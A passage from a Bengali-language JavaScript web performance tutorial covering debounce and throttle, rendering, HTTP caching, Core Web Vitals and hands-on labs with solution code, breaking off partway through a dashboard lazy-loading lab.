JAVASCRIPT SourceJAVASCRIPT
function throttle(fn, delay) {

    let lastTime = 0;

    return function (...args) {

        const now = Date.now();

        if (now - lastTime >= delay) {

            lastTime = now;

            fn.apply(this, args);
        }
    };
}
33.32 Debounce vs Throttle
DebounceThrottle
User থামলে executeনির্দিষ্ট interval-এ execute
SearchScroll
ResizeMouse move
TypingDrag

🧠 মনে রাখো:

⚡ DEBOUNCE VS THROTTLE EXECUTION TIMELINE
Debounce  "Wait until quiet"
Throttle  "Limit frequency"
33.33 Event Delegation

অনেক child element-এ আলাদা listener না দিয়ে parent-এ listener দেওয়া যায়। HTML:

HTML DOM MARKUPHTML
<ul id="list">
    <li>One</li>
    <li>Two</li>
    <li>Three</li>
</ul>

JavaScript:

JAVASCRIPT SourceJAVASCRIPT
document
    .querySelector("#list")
    .addEventListener("click", (event) => {

        if (event.target.matches("li")) {
            console.log(event.target.textContent);
        }
    });

এতে অনেক listener না দিয়েও কাজ করা যায়।

33.34 Passive Event Listener

Touch/scroll event-এ:

JAVASCRIPT SourceJAVASCRIPT
window.addEventListener(
    "scroll",
    handleScroll,
    { passive: true }
);

passive: true browser-কে জানায় listener preventDefault() ব্যবহার করবে না। কিছু scrolling scenario-তে এটি performance/scroll responsiveness-এর জন্য সাহায্য করতে পারে।

Part 07 — Rendering Performance, rAF & GPU Acceleration (33.35 – 33.39)
33.35 requestAnimationFrame()

Animation বা visual update-এর জন্য:

JAVASCRIPT SourceJAVASCRIPT
requestAnimationFrame(() => {
    box.style.transform = "translateX(100px)";
});

Browser-এর rendering cycle-এর সাথে visual updates synchronize করতে এটি useful।

33.36 কেন setInterval() সব animation-এর জন্য ideal নয়?

এভাবে:

JAVASCRIPT SourceJAVASCRIPT
setInterval(() => {
    box.style.left = "...";
}, 16);

করার বদলে animation-এর জন্য সাধারণত:

JAVASCRIPT SourceJAVASCRIPT
requestAnimationFrame()

better choice হতে পারে।

33.37 Animation Example
JAVASCRIPT SourceJAVASCRIPT
let position = 0;

function animate() {

    position += 2;

    box.style.transform =
        `translateX(${position}px)`;

    if (position < 500) {
        requestAnimationFrame(animate);
    }
}

requestAnimationFrame(animate);
33.38 CSS Transform Performance

Animation-এর ক্ষেত্রে অনেক সময়:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
transform: translateX(...);

এবং:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
opacity: ...

এর মতো properties browser rendering pipeline-এর জন্য ভালোভাবে optimize করা যায়। অন্যদিকে frequent:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
top
left
width
height

change করলে layout work হতে পারে। এটি absolute rule নয়—browser implementation এবং surrounding layout-এর ওপরও নির্ভর করে।

33.39 will-change
⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
.box {
    will-change: transform;
}

Browser-কে future change সম্পর্কে hint দিতে পারে। ⚠️ সব element-এ:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
will-change: transform;

দেওয়া উচিত নয়। কারণ excessive layer/resource usage হতে পারে।

Part 08 — Browser Caching, CDN & Network Waterfall (33.40 – 33.45)
33.40 Browser Caching

Browser static resource cache করতে পারে। যেমন:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
logo.png
style.css
app.js

প্রথমবার download:

⚡ NETWORK WATERFALL & CACHING PIPELINE
Server
 
Browser
 
Cache

পরেরবার cache policy অনুযায়ী network request কমতে পারে।

33.41 HTTP Cache Headers

Important concepts:

⚡ NETWORK WATERFALL & CACHING PIPELINE
Cache-Control
ETag
Last-Modified
Expires

Example:

HTTP CACHE HEADERSHTTP
Cache-Control: public, max-age=31536000

মানে resource cache করার policy নির্দেশ করা হচ্ছে।

33.42 Cache-Control

Common concepts:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
max-age
no-cache
no-store
public
private
🔹 no-store

Response store না করার নির্দেশ দেয়। Sensitive data-এর ক্ষেত্রে গুরুত্বপূর্ণ হতে পারে।

🔹 max-age

কত সময় fresh হিসেবে treat করা হবে তার নির্দেশ দিতে পারে।

33.43 ETag

Server resource-এর একটি identifier দিতে পারে:

HTTP CACHE HEADERSHTTP
ETag: "abc123"

পরবর্তী request-এ browser পাঠাতে পারে:

HTTP CACHE HEADERSHTTP
If-None-Match: "abc123"

Resource পরিবর্তন না হলে server:

HTTP CACHE HEADERSHTTP
304 Not Modified

দিতে পারে।

33.44 CDN

CDN = Content Delivery Network Static assets user-এর কাছাকাছি edge location থেকে serve করতে পারে।

⚡ NETWORK WATERFALL & CACHING PIPELINE
Origin Server
                   
             ──────────
                       
           CDN   CDN   CDN
                      
          User  User  User

Benefits:

  • lower latency
  • distributed delivery
  • caching
  • reduced origin load
33.45 Network Waterfall

Browser DevTools-এর Network tab-এ দেখতে পারো:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
HTML
 ── CSS
 ── JS
 ── Image
 ── Font
 ── API

প্রতিটির:

  • request time
  • response time
  • size
  • status
  • initiator

দেখা যায়।

Part 09 — Profiling, Long Tasks, Web Workers & Memory Leaks (33.46 – 33.51)
33.46 Chrome DevTools Performance

Browser DevTools → Performance এখানে recording করে দেখতে পারো:

⚡ LAYOUT THRASHING VS BATCHED EXECUTION FLOW
JavaScript execution
Rendering
Painting
Layout
Long Tasks
Frames
33.47 Long Task

Main thread-এ খুব দীর্ঘ JavaScript task হলে UI responsiveness কমে যেতে পারে। Concept:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
User Click
 
Heavy JS
 
Main Thread Busy
 
UI delayed

এজন্য heavy work:

  • break into smaller chunks
  • Web Worker
  • lazy loading
  • optimized algorithms

ইত্যাদি দিয়ে handle করা যায়।

33.48 Main Thread

Browser-এর main thread সাধারণত:

⚡ LAYOUT THRASHING VS BATCHED EXECUTION FLOW
JavaScript
+
DOM
+
Style/Layout related work
+
User Interaction

এর বড় অংশ handle করে। যদি JavaScript:

JAVASCRIPT SourceJAVASCRIPT
while (true) {
    // never ending
}

চালাও, UI freeze হয়ে যেতে পারে।

33.49 Web Worker আবার কেন গুরুত্বপূর্ণ?

Chapter 32-এ আমরা Web Worker দেখেছি। Heavy computation:

⚡ MAIN THREAD VS WEB WORKER CONCURRENCY
Main Thread
     
     ── UI
     ── DOM
     ── Interaction
     
Worker
     
     ── Heavy computation

এতে main thread-এর ওপর চাপ কমানো যায়।

33.50 Memory Performance

Performance শুধু speed নয়। Memory usage-ও গুরুত্বপূর্ণ। Potential সমস্যা:

⚡ NETWORK WATERFALL & CACHING PIPELINE
Huge Array
Huge Object
Unremoved Event Listener
Detached DOM
Growing Cache

এগুলো memory usage বাড়াতে পারে। Chapter 30-এর Garbage Collection knowledge এখানে কাজে লাগে।

33.51 Memory Leak Example
JAVASCRIPT SourceJAVASCRIPT
const cache = [];

function addData(data) {
    cache.push(data);
}

যদি cache কখনো clean না হয়:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
cache
 
Data
 
More Data
 
More Data
 
More Data

Memory usage ক্রমেই বাড়তে পারে।

Part 10 — Resource Hints, Critical CSS, Fonts & API Abort (33.52 – 33.62)
33.52 Image Lazy Loading + IntersectionObserver

Chapter 32-এর knowledge combine করলে:

JAVASCRIPT SourceJAVASCRIPT
const images =
    document.querySelectorAll("img[data-src]");

const observer =
    new IntersectionObserver(entries => {

        entries.forEach(entry => {

            if (!entry.isIntersecting) return;

            const img = entry.target;

            img.src = img.dataset.src;

            observer.unobserve(img);
        });
    });

images.forEach(img => observer.observe(img));

এটি একটি real performance technique।

33.53 Code Splitting + Dynamic Import
JAVASCRIPT SourceJAVASCRIPT
button.addEventListener("click", async () => {

    const module =
        await import("./heavyFeature.js");

    module.start();
});

User click না করা পর্যন্ত heavy feature-এর code load না করানো যেতে পারে।

33.54 Preload

কিছু critical resource আগে load করার জন্য:

HTML DOM MARKUPHTML
<link
    rel="preload"
    href="/fonts/main.woff2"
    as="font"
    type="font/woff2"
    crossorigin
>

⚠️ Preload শুধু genuinely critical resource-এর জন্য ব্যবহার করা ভালো।

33.55 Prefetch

Future navigation-এর সম্ভাব্য resource আগে fetch করতে:

HTML DOM MARKUPHTML
<link
    rel="prefetch"
    href="/next-page.js"
>

Browser support/priority behavior অনুযায়ী actual loading timing পরিবর্তিত হতে পারে।

33.56 defer vs async

HTML:

HTML DOM MARKUPHTML
<script src="app.js" defer></script>
🔹 defer

HTML parsing block না করে script download করতে পারে এবং document parse শেষ হলে execution করে। Multiple deferred scripts সাধারণত document order অনুযায়ী execute হয়।

🔹 async
HTML DOM MARKUPHTML
<script src="analytics.js" async></script>

Download complete হলে execution শুরু হতে পারে, parsing-এর সাথে timing overlap করতে পারে। একাধিক async script-এর execution order guaranteed নয়।

33.57 Comparison
deferasync
Download parallel হতে পারেDownload parallel হতে পারে
HTML parsing block না করেHTML parsing block না করে
Parse complete হওয়ার পরে executeDownload শেষ হলেই execute হতে পারে
Order maintainedOrder guaranteed নয়
33.58 Critical CSS

Above-the-fold content-এর জন্য প্রয়োজনীয় CSS দ্রুত দিতে critical CSS strategy ব্যবহার করা যায়। Concept:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
Critical CSS
 
Initial render
 
Remaining CSS
 
Later
33.59 Font Performance

Web fonts performance affect করতে পারে। Strategies:

  • WOFF2 ব্যবহার
  • প্রয়োজনীয় font weights কমানো
  • preload carefully
  • font-display ব্যবহার

Example:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
@font-face {
    font-family: "MyFont";
    src: url("/font.woff2") format("woff2");
    font-display: swap;
}
33.60 API Performance

Frontend slow হওয়ার কারণ সবসময় frontend নয়। ধরো:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
Button Click
 
API Request
 
Server
 
Database
 
Server
 
Response
 
UI

Database slow হলে frontend-ও slow মনে হবে।

33.61 API Optimization

Backend side:

  • pagination
  • caching
  • database indexes
  • efficient queries
  • compression
  • response shaping
  • connection pooling

Frontend side:

  • debounce search
  • cache responses where appropriate
  • avoid duplicate requests
  • pagination/infinite loading
  • abort stale requests
33.62 AbortController

Unnecessary request cancel করতে:

JAVASCRIPT SourceJAVASCRIPT
const controller = new AbortController();

fetch("/api/search", {
    signal: controller.signal
});

Cancel:

JAVASCRIPT SourceJAVASCRIPT
controller.abort();
🔹 Real-life

Search:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
User types:
Java
   
Request 1

User types:
JavaScript
   
Request 2

আগের unnecessary request cancel করা যেতে পারে।

Part 11 — Core Web Vitals, Performance Budget & Production Checklist (33.63 – 33.70)
33.63 Performance Measurement

Optimization করার আগে measure করতে হবে। Golden rule:

💡 Measure → Identify → Optimize → Measure Again
⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
Measure
  
Find Bottleneck
  
Optimize
  
Measure Again

শুধু অনুমান করে optimization করা উচিত নয়।

33.64 Core Web Vitals

Modern web performance-এর গুরুত্বপূর্ণ user-centric metrics:

🔹 LCP

Largest Contentful Paint Main content কত দ্রুত visible হয় তার একটি গুরুত্বপূর্ণ metric।

🔹 INP

Interaction to Next Paint User interaction-এর পরে page কত দ্রুত visual response দেয় তার metric।

🔹 CLS

Cumulative Layout Shift Page-এর content unexpected ভাবে কতটা নড়ে যায় তা measure করে।

33.65 LCP

Example:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
Page open
 
Hero heading/image
 
Main content visible

এই গুরুত্বপূর্ণ content দ্রুত render হওয়া ভালো। LCP improve করতে:

  • optimize images
  • reduce server delay
  • preload critical resources carefully
  • reduce render-blocking resources
  • optimize HTML/CSS/JS
33.66 INP

ধরো:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
User clicks button
       
Heavy JavaScript
       
UI responds late

এটি poor interaction responsiveness-এর sign। Improve করতে:

  • long tasks break করা
  • unnecessary JS কমানো
  • event handlers optimize
  • Web Worker
  • code splitting

ব্যবহার করা যায়।

33.67 CLS

Example:

⚡ PERFORMANCE LIFECYCLE & EXECUTION FLOW
Page load

Text
 
Image loads
 
Image জায়গা নেয়
 
Text নিচে নেমে গেল

এটি layout shift।

⚡ CLS improve

Image-এর dimensions define করুন:

HTML DOM MARKUPHTML
<img
    src="image.jpg"
    width="800"
    height="500"
    alt="Example"
>

অথবা CSS aspect ratio reserve করুন।

33.68 loading="lazy"
HTML DOM MARKUPHTML
<img
    src="photo.jpg"
    loading="lazy"
    alt="Photo"
>

Browser-এর native lazy loading ব্যবহার করা যায়।

33.69 Performance Budget

Project-এর জন্য performance target define করা যায়। Example:

⚡ CORE WEB VITALS METRICS & TARGET BENCHMARKS
JavaScript < 300 KB
Images < 1 MB
LCP < target
API response < target

এটি team-কে performance-aware development করতে সাহায্য করে।

33.70 Production Optimization Checklist

Deployment-এর আগে:

⚡ NETWORK WATERFALL & CACHING PIPELINE
 Images optimized
 Unnecessary JS removed
 Code splitting considered
 Lazy loading used where appropriate
 Compression enabled
 Cache strategy configured
 API optimized
 No unnecessary API requests
 Console/debug code reviewed
 Source maps strategy reviewed
 Performance measured
 Mobile tested
Part 12 — Must Know Architecture, Quick Cheat Sheet, 12 Practice Labs & Final Mental Map
33.71 🔥 MUST KNOW — পারফরম্যান্স অপ্টিমাইজেশনের ১০টি মূল স্তম্ভ

প্রোডাকশন গ্রেড ওয়েব অ্যাপ্লিকেশনের গতি ও রেসপন্সিভনেস নিশ্চিত করার জন্য এই ১০টি আর্কিটেকচারাল প্যাটার্ন সর্বদা মনে রাখা প্রয়োজন:

📌 1. Rendering Pipeline & DOM
  • DOM + CSSOM: Render Tree গঠন করে লেআউট তৈরি
  • Layout & Paint: রিফ্লো কমানো ও GPU কম্পোজিটিং ব্যবহার
  • DocumentFragment: ১০০০টি নোড মাত্র ১টি রিফ্লোতে ইনসার্ট
  • will-change & CSS Transform: সিপিইউ থ্রেড বাদ দিয়ে জিপিইউতে এনিমেশন
📌 2. Runtime Execution & Events
  • Debounce: সার্চ ইনপুটে টাইপিং থামা পর্যন্ত অপেক্ষা
  • Throttle: স্ক্রল বা রিসাইজে নির্দিষ্ট ইন্টারভালে এক্সিকিউশন
  • Passive Listeners: স্ক্রলিংয়ে preventDefault ব্লকিং রোধ
  • Web Workers: মেইন থ্রেডকে ফ্রি রেখে ব্যাকগ্রাউন্ডে ক্যালকুলেশন
📌 3. Delivery & Core Web Vitals
  • Code Splitting: ডাইনামিক import() দিয়ে অন-ডিমান্ড মডিউল লোড
  • Brotli & Tree Shaking: অব্যবহৃত কোড বাদ দিয়ে সাইজ ৭০% হ্রাস
  • Cache-Control & CDN: ব্যবহারকারীর নিকটবর্তী নোড থেকে ক্যাশ ডেলিভারি
  • Core Web Vitals: LCP (<2.5s), INP (<200ms), CLS (<0.1) লক্ষ্য পূরণ
33.72 🧠 Quick Cheat Sheet — পারফরম্যান্স ধারণাসমূহের সারসংক্ষেপ
TopicMain Concept & Mechanism
DOMHTML ডকুমেন্টের ইন-মেমোরি নোড ট্রি গঠন
CSSOMCSS সিলেক্টর ও স্টাইল রুলসের ক্যাস্কেডিং অবজেক্ট ট্রি
Layout (Reflow)উপাদানের জ্যামিতিক সাইজ ও স্ক্রিনে সঠিক পজিশন গণনা
Paint (Repaint)পিক্সেল ড্রয়িং (রং, ব্যাকগ্রাউন্ড, শ্যাডো, বর্ডার রেন্ডারিং)
Compositeআলাদা জিপিইউ লেয়ারসমূহকে স্ক্রিনে একত্রিত করা
Debounceব্যবহারকারীর অ্যাকশন থামা পর্যন্ত ফাংশন এক্সিকিউশন স্থগিত রাখা
Throttleনির্দিষ্ট সময় ব্যবধানে সর্বোচ্চ একবার ফাংশন এক্সিকিউট করা
Lazy Loadingউপাদান স্ক্রিনে আসার ঠিক আগ মুহূর্তে লোড করা (loading="lazy")
Code Splittingবিশাল বান্ডেল ভেঙে ছোট ছোট অন-ডিমান্ড চাঙ্ক তৈরি করা
Tree Shakingবিল্ড টাইমে অব্যবহৃত ডেড-কোড স্বয়ংক্রিয়ভাবে মুছে ফেলা
Minificationহোয়াইটস্পেস ও ভ্যারিয়েবল নাম ছোট করে সাইজ সংকুচিত করা
Compressionট্রান্সফারের সময় Brotli/Gzip দিয়ে ফাইল সাইজ কমানো
CDNভৌগোলিকভাবে ব্যবহারকারীর নিকটবর্তী এজ-সার্ভার থেকে ফাইল পরিবেশন
HTTP CacheCache-Control: max-age দিয়ে ব্রাউজারে রিসোর্স পুনব্যবহার
Web Workerমেইন থ্রেডকে ফ্রি রেখে ব্যাকগ্রাউন্ড থ্রেডে হেভি প্রসেসিং
requestAnimationFrameব্রাউজারের রিফ্রেশ রেটের (60FPS/16.6ms) সাথে সিঙ্ক করে স্মুথ অ্যানিমেশন
AbortControllerঅপ্রয়োজনীয় বা পুরাতন ফেচ রিকোয়েস্ট তৎক্ষণাৎ বাতিল করা
LCP (Largest Contentful Paint)পেজের সবচেয়ে বড় কন্টেন্ট রেন্ডার হওয়ার সময় (লক্ষ্য: &lt; 2.5s)
INP (Interaction to Next Paint)ইউজার ক্লিকের পর ভিজ্যুয়াল রেসপন্স পেতে দেরি (লক্ষ্য: &lt; 200ms)
CLS (Cumulative Layout Shift)পেজ লোড হওয়ার সময় কন্টেন্টের অনাকাঙ্ক্ষিত নড়াচড়া (লক্ষ্য: &lt; 0.1)
Part 12.1 — 12 Hands-On Practice Labs with Complete Production Solutions
Lab #1 [BEGINNER] — Debounced Search Input with Live Console Logging

সমস্যা ও লক্ষ্য: একটি search input তৈরি করুন এবং debounce ব্যবহার করে console-এ search value print করুন। টাইপিং থামার ৫০০ms পর রিকোয়েস্ট কার্যকর হবে।

HTML DOM STRUCTUREHTML
<!-- HTML Search Input Markup -->
<div class="search-box">
  <input type="text" id="search-input" placeholder="Search products, documentation..." autocomplete="off">
  <div id="search-status">Typing triggers debounced API call after 500ms idle</div>
</div>
SOLUTION IMPLEMENTATION (LAB #1)JAVASCRIPT
// 1. Debounce Utility Function
function debounce(func, delay = 500) {
  let timerId = null;
  return function(...args) {
    clearTimeout(timerId); // পূর্বের টাইমার বাতিল
    timerId = setTimeout(() => {
      func.apply(this, args); // বিলম্ব শেষে মূল ফাংশন কল
    }, delay);
  };
}

// 2. Search Handler Function
function handleSearch(query) {
  console.log(`[API Search Triggered]: "${query}" at ${new Date().toLocaleTimeString()}`);
}

// 3. Debounced Wrapper & Event Listener
const debouncedSearch = debounce((event) => {
  handleSearch(event.target.value.trim());
}, 500);

const searchInput = document.getElementById('search-input');
searchInput.addEventListener('input', debouncedSearch);
💡 প্রোডাকশন অন্তর্দৃষ্টি: ব্যবহারকারী প্রতি ক্লিকে কিপ্রেস করলেও অপ্রয়োজনীয় ২০টি রিকোয়েস্ট না পাঠিয়ে টাইপিং থামার পর মাত্র ১টি নেটওয়ার্ক কল করবে, যা ব্যান্ডউইথ ও সার্ভার লোড বাঁচায়।
Lab #2 [BEGINNER] — Throttled Window Scroll Event Listener

সমস্যা ও লক্ষ্য: একটি scroll event-এ throttle ব্যবহার করুন যাতে প্রতি ৩০০ms-এ সর্বোচ্চ একবার স্ক্রল পজিশন গণনা ও কনসোলে লগ হয়।

SOLUTION IMPLEMENTATION (LAB #2)JAVASCRIPT
// 1. Timestamp-based Throttle Utility
function throttle(func, interval = 300) {
  let lastTime = 0;
  return function(...args) {
    const now = Date.now();
    if (now - lastTime >= interval) {
      lastTime = now;
      func.apply(this, args);
    }
  };
}

// 2. Scroll Progress Tracker
function logScrollPosition() {
  const scrollTop = window.scrollY || document.documentElement.scrollTop;
  const docHeight = document.documentElement.scrollHeight - window.innerHeight;
  const progress = Math.round((scrollTop / docHeight) * 100);
  console.log(`[Throttled Scroll] Position: ${scrollTop}px | Read: ${progress}%`);
}

// 3. Throttled Listener Attachment with Passive Flag
window.addEventListener('scroll', throttle(logScrollPosition, 300), { passive: true });
💡 প্রোডাকশন অন্তর্দৃষ্টি: ইউজার দ্রুত স্ক্রল করলে প্রতি সেকেন্ডে ৬০টির বেশি ইভেন্ট ফায়ার হয়। থ্রটলিংয়ের মাধ্যমে একে প্রতি সেকেন্ডে মাত্র ৩ বারে সীমাবদ্ধ রাখা হয়, যা লেআউট থ্র্যাশিং দূর করে।
Lab #3 [BEGINNER] — Native Responsive Image Lazy Loading

সমস্যা ও লক্ষ্য: একটি image-এ loading="lazy" ও srcset ব্যবহার করে আধুনিক নেটিভ লেজি লোডিং টেস্ট ও পরিমাপ করুন।

HTML DOM STRUCTUREHTML
<!-- High-Performance Native Responsive Lazy Image -->
<picture>
  <source srcset="hero-large.avif 1200w, hero-medium.avif 800w" type="image/avif">
  <source srcset="hero-large.webp 1200w, hero-medium.webp 800w" type="image/webp">
  <img 
    src="hero-fallback.jpg" 
    loading="lazy" 
    decoding="async"
    width="800" 
    height="450" 
    alt="Performance Dashboard Mockup"
    class="perf-lazy"
  >
</picture>
SOLUTION IMPLEMENTATION (LAB #3)JAVASCRIPT
// Image Load Event Listener & Metrics
const lazyImg = document.querySelector('img.perf-lazy');

lazyImg.addEventListener('load', () => {
  console.log('Image loaded successfully on viewport entry!');
  lazyImg.classList.add('loaded'); // CSS ফেইড-ইন ট্রানজিশন
});

lazyImg.addEventListener('error', () => {
  console.error('❌ Failed to load high-res image. Fallback triggered.');
});
💡 প্রোডাকশন অন্তর্দৃষ্টি: decoding="async" ব্রাউজারের ডিকোডিং মেইন থ্রেড থেকে সরিয়ে নেয় এবং স্পষ্ট width/height থাকায় কোনো Layout Shift (CLS = 0) হয় না।
Lab #4 [BEGINNER] — Smooth 60FPS Animation with requestAnimationFrame

সমস্যা ও লক্ষ্য: requestAnimationFrame() ব্যবহার করে একটি box-কে স্ক্রিনে মসৃণভাবে মুভ করান এবং ডেল্টা টাইম অনুযায়ী ফ্রেম ড্রপ পরিহার করুন।

SOLUTION IMPLEMENTATION (LAB #4)JAVASCRIPT
const box = document.getElementById('animated-box');
let startTimestamp = null;
const duration = 2000; // ২ সেকেন্ডে এনিমেশন শেষ হবে
const targetDistance = 400; // ৪০০ পিক্সেল ডানে সরবে

function animateBox(timestamp) {
  if (!startTimestamp) startTimestamp = timestamp;
  const elapsed = timestamp - startTimestamp;
  const progress = Math.min(elapsed / duration, 1); // ০ থেকে ১ পর্যন্ত প্রগ্রেস

  // Easing function (easeOutQuad)
  const easeProgress = 1 - (1 - progress) * (1 - progress);
  const currentX = easeProgress * targetDistance;

  // GPU-accelerated 3D Transform ব্যবহার (Reflow ও Repaint শূন্য)
  box.style.transform = `translate3d(${currentX}px, 0, 0)`;

  if (progress < 1) {
    requestAnimationFrame(animateBox); // পরবর্তী ফ্রেমের জন্য রিকোয়েস্ট
  } else {
    console.log('🏁 60FPS Smooth Animation Complete!');
  }
}

// এনিমেশন শুরু
requestAnimationFrame(animateBox);
💡 প্রোডাকশন অন্তর্দৃষ্টি: setInterval এর বদলে rAF ব্রাউজারের 60Hz রিফ্রেশ হারের সাথে নিখুঁতভাবে টাইমিং মেলায় এবং ট্যাব ব্যাকগ্রাউন্ডে গেলে ব্যাটারি বাঁচিয়ে পজ করে।
Lab #5 [INTERMEDIATE] — High-Performance DOM Batching with DocumentFragment

সমস্যা ও লক্ষ্য: ১০০০টি DOM element তৈরি করুন এবং সাধারণ লুপের বদলে DocumentFragment ব্যবহার করে মাত্র ১টি Reflow ও Repaint-এ অ্যাপেন্ড করুন।

SOLUTION IMPLEMENTATION (LAB #5)JAVASCRIPT
const container = document.getElementById('user-list');

// ❌ Bad Approach: প্রতি লুপে অ্যাপেন্ড (১০০০ বার রিফ্লো ও রিপেইন্ট)
// for (let i = 0; i < 1000; i++) container.appendChild(createNode(i));

// ✅ Master Production Approach: DocumentFragment ব্যবহার
console.time('DocumentFragment Insertion');

const fragment = document.createDocumentFragment(); // ভার্চুয়াল মেমোরি কন্টেইনার

for (let i = 1; i <= 1000; i++) {
  const item = document.createElement('li');
  item.className = 'list-item';
  item.textContent = `Customer Record #${i} — Verified Active`;
  fragment.appendChild(item); // মেমোরিতে নোড যুক্ত (কোনো DOM রিফ্লো নেই)
}

// মূল DOM-এ মাত্র ১টি ট্রানজেকশনে ১০০০টি নোড অ্যাপেন্ড
container.appendChild(fragment);

console.timeEnd('DocumentFragment Insertion');
console.log('1,000 DOM Nodes rendered in a single Composite tick!');
💡 প্রোডাকশন অন্তর্দৃষ্টি: DocumentFragment কোনো মূল DOM নোড নয়, এটি ইন-মেমোরি র‍্যাপার। এটি DOM ট্রি-তে যুক্ত হওয়ার পর নিজেই অদৃশ্য হয়ে যায় এবং শুধু চাইল্ড নোডগুলো সংযুক্ত থাকে।
Lab #6 [INTERMEDIATE] — IntersectionObserver Image Lazy Loader with Skeleton Placeholder

সমস্যা ও লক্ষ্য: IntersectionObserver দিয়ে 'Loading...' স্কেলেটন থেকে একচুয়াল ইমেজ ভিউপোর্টে প্রবেশ করার পর লোড করুন ও আন-অবজার্ভ করুন।

HTML DOM STRUCTUREHTML
<img data-src="https://images.unsplash.com/photo-perf.jpg" src="data:image/svg+xml,...placeholder..." class="skeleton-loading" width="600" height="400" alt="Product Showcase">
SOLUTION IMPLEMENTATION (LAB #6)JAVASCRIPT
// 1. Observer Configuration
const observerOptions = {
  root: null, // ভিউপোর্ট ডিটেকশন
  rootMargin: '100px', // স্ক্রিনে আসার ১০০ পিক্সেল আগেই প্রি-লোড শুরু হবে
  threshold: 0.01 // ১% দৃশ্যমান হলেই ট্রিগার
};

// 2. IntersectionObserver Instance
const lazyObserver = new IntersectionObserver((entries, observer) => {
  entries.forEach(entry => {
    if (entry.isIntersecting) {
      const img = entry.target;
      const actualSrc = img.getAttribute('data-src');

      // Placeholder থেকে আসল সোর্সে রূপান্তর
      img.src = actualSrc;
      img.onload = () => {
        img.classList.remove('skeleton-loading');
        img.classList.add('img-visible');
      };

      // মেমোরি লিক রোধে টাস্ক শেষে আন-অবজার্ভ
      observer.unobserve(img);
      console.log(`[LazyLoaded] ${actualSrc}`);
    }
  });
}, observerOptions);

// 3. Observe All Data-Src Images
document.querySelectorAll('img[data-src]').forEach(img => lazyObserver.observe(img));
💡 প্রোডাকশন অন্তর্দৃষ্টি: স্ক্রল ইভেন্ট লিসেনারের তুলনায় IntersectionObserver সম্পূর্ণ অ্যাসিনক্রোনাস এবং ব্রাউজারের কম্পোজিটর থ্রেডে চলে, ফলে মেইন থ্রেড ল্যাগ হয় না।
Lab #7 [INTERMEDIATE] — Dynamic import() for Module Lazy-Loading & Code Splitting

সমস্যা ও লক্ষ্য: Dynamic import() ব্যবহার করে ইউজার বাটনে ক্লিক করলে তবেই একটি ভারী গ্রাফ চার্টিং মডিউল lazy-load করুন।

SOLUTION IMPLEMENTATION (LAB #7)JAVASCRIPT
const chartBtn = document.getElementById('load-chart-btn');
const chartContainer = document.getElementById('chart-container');

chartBtn.addEventListener('click', async () => {
  try {
    chartBtn.disabled = true;
    chartBtn.textContent = 'Loading Chart Engine...';

    // ডাইনামিক ইমপোর্টের মাধ্যমে মডিউল শুধু প্রয়োজনে নেটওয়ার্ক থেকে নামবে
    const { renderSalesChart } = await import('./modules/heavyChart.js');

    const sampleData = [120, 190, 300, 500, 200, 350];
    renderSalesChart(chartContainer, sampleData);

    chartBtn.textContent = '✅ Chart Rendered';
  } catch (error) {
    console.error('Failed to dynamically load chart module:', error);
    chartBtn.textContent = '❌ Loading Failed';
    chartBtn.disabled = false;
  }
});
💡 প্রোডাকশন অন্তর্দৃষ্টি: অ্যাপ্লিকেশন বুট হওয়ার সময় পুরো চার্টিং লাইব্রেরির ৪০০KB লোড না করে ইনিশিয়াল JS বান্ডেল হালকা রাখা যায়, যা LCP এবং TBT স্কোর উল্লেখযোগ্যভাবে বাড়ায়।
Lab #8 [INTERMEDIATE] — Debounced Search API with AbortController Stale Request Cancellation

সমস্যা ও লক্ষ্য: Typing -> Debounce -> fetch() -> AbortController আর্কিটেকচারে পুরাতন পেন্ডিং রিকোয়েস্ট বাতিল করার সম্পূর্ণ প্রোডাকশন সলিউশন।

SOLUTION IMPLEMENTATION (LAB #8)JAVASCRIPT
let currentAbortController = null;

// Debounced Search with Abort Signal
const searchProducts = debounce(async (searchTerm) => {
  if (!searchTerm) return;

  // ১. পূর্বের রিকোয়েস্ট যদি এখনো পেন্ডিং থাকে, তাকে বাতিল করুন
  if (currentAbortController) {
    currentAbortController.abort();
    console.warn('[Request Aborted]: Canceled stale pending query');
  }

  // ২. নতুন রিকোয়েস্টের জন্য ফ্রেশ কন্ট্রোলার তৈরি
  currentAbortController = new AbortController();
  const { signal } = currentAbortController;

  try {
    const response = await fetch(`/api/products?search=${encodeURIComponent(searchTerm)}`, { signal });
    const data = await response.json();
    displayResults(data.results);
    console.log(`[Search Results Loaded] Count: ${data.results.length}`);
  } catch (err) {
    if (err.name === 'AbortError') {
      console.log('ℹ️ Request successfully aborted as user typed new characters.');
    } else {
      console.error('Network Error:', err);
    }
  } finally {
    currentAbortController = null;
  }
}, 400);

document.getElementById('api-search-input').addEventListener('input', (e) => {
  searchProducts(e.target.value.trim());
});
💡 প্রোডাকশন অন্তর্দৃষ্টি: নেটওয়ার্কের রেস কন্ডিশন (stale response overwriting latest result) সম্পূর্ণ দূর করে এবং অপ্রয়োজনীয় ব্যান্ডউইথ খরচ বন্ধ করে।
Lab #9 [ADVANCED] — Multi-Route SPA Dashboard Lazy-Loader with Component Caching

সমস্যা ও লক্ষ্য: Dashboard-এর Overview, Analytics, Reports, Settings ট্যাবসমূহ অন-ডিমান্ড lazy-load ও মডিউল ক্যাশ করার ক্লায়েন্ট-সাইড আর্কিটেকচার।

SOLUTION IMPLEMENTATION (LAB #9)JAVASCRIPT
// Route-to-Module Manifest
const routeManifest = {
  overview: () => import('./views/overview.js'),
  analytics: () => import('./views/analytics.js'),
  reports: () => import('./views/reports.js'),
